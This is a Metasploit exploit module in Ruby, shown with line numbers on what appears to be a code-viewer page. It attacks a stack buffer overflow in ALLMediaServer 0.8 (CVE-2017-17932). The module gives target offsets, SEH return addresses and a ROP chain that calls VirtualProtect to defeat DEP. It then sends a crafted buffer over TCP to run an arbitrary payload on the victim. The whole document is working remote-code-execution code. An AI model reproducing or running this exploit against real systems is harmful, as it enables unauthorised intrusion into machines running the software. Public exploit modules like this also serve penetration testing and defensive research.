Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'ALLMediaServer 0.8 Buffer Overflow',
15
      'Description'    => %q{
16
        This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
17
        is caused due to a boundary error within the handling of HTTP request.
18

19
        While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
20
        reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
21
        this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
22
        DEP is OptIn and AllMediaServer won't run with DEP.
23
      },
24
      'License'        => MSF_LICENSE,
25
      'Author'         =>
26
        [
27
          'motaz reda <motazkhodair[at]gmail.com>',	# Original discovery
28
          'modpr0be <tom[at]spentera.com>',	# Metasploit module
29
          'juan vazquez' # More improvement
30
        ],
31
      'References'     =>
32
        [
33
          [ 'CVE', '2017-17932' ],
34
          [ 'OSVDB', '83889' ],
35
          [ 'EDB', '19625' ]
36
        ],
37
      'DefaultOptions' =>
38
        {
39
          'EXITFUNC' => 'thread', #none/process/thread/seh
40
        },
41
      'Platform'       => 'win',
42
      'Payload'        =>
43
        {
44
          'BadChars' => "",
45
          'Space' => 660,
46
          'DisableNops' => true
47
        },
48

49
      'Targets'        =>
50
        [
51
          [ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
52
            {
53
              'Ret'       =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
54
              'OffsetRop' =>	696,
55
              'jmp'       =>	264,
56
              'Offset'    =>	1072
57
            }
58
          ],
59
          [ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
60
            {
61
              'Ret'       =>	0x6ac5cc92, # ppr from avformat-53.dll
62
              'Offset'    =>	1072
63
            }
64
          ],
65
        ],
66
      'Privileged'     => false,
67
      'DisclosureDate' => '2012-07-04',
68
      'DefaultTarget'  => 1))
69

70
    register_options([Opt::RPORT(888)])
71

72
  end
73

74
  def junk(n=1)
75
    return [rand_text_alpha(4).unpack("L")[0]] * n
76
  end
77

78
  def nops(rop=false, n=1)
79
    return rop ? [0x665a0aa1] * n : [0x90909090] * n
80
  end
81

82
  def asm(code)
83
    Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
84
  end
85

86
  def exploit
87
    #with help from mona :)
88
    rop = [
89
      nops(true, 12),  #ROP NOP
90
      0x65f6faa7,      # POP EAX # RETN
91
      0x671ee4e0,      # ptr to &VirtualProtect()
92
      0x6ac1ccb4,      # MOV EAX,DWORD PTR DS:[EAX] # RETN
93
      0x667ceedf,      # PUSH EAX # POP ESI # POP EDI # RETN
94
      junk,
95
      0x65f5f09d,      # POP EBP # RETN
96
      0x65f9830d,      # & call esp
97
      0x6ac1c1d5,      # POP EBX # RETN
98
      0x00000600,      # 0x00000320-> ebx
99
      0x6672a1e2,      # POP EDX # RETN
100
      0x00000040,      # 0x00000040-> edx
101
      0x665a09df,      # POP ECX # RETN
102
      0x6ad58a3d,      # &Writable location
103
      0x6ac7a771,      # POP EDI # RETN
104
      nops(true),      # RETN (ROP NOP)
105
      0x6682f9f4,      # POP EAX # RETN
106
      nops,            # nop
107
      0x663dcbd2       # PUSHAD # RETN
108
    ].flatten.pack("V*")
109

110
    connect
111

112
    if target.name =~ /Windows 7/
113
      buffer = rand_text(target['Offset'])
114
      buffer << generate_seh_record(target.ret)
115
      buffer << payload.encoded
116
    else
117
      buffer = rand_text(target['OffsetRop'])	#junk
118
      buffer << rop
119
      buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
120
      buffer << rand_text(target['Offset'] - buffer.length)
121
      buffer << generate_seh_record(target.ret)
122
      buffer << payload.encoded
123
    end
124

125
    print_status("Sending payload to ALLMediaServer on #{target.name}...")
126
    sock.put(buffer)
127

128
    disconnect
129

130
  end
131
end
132

133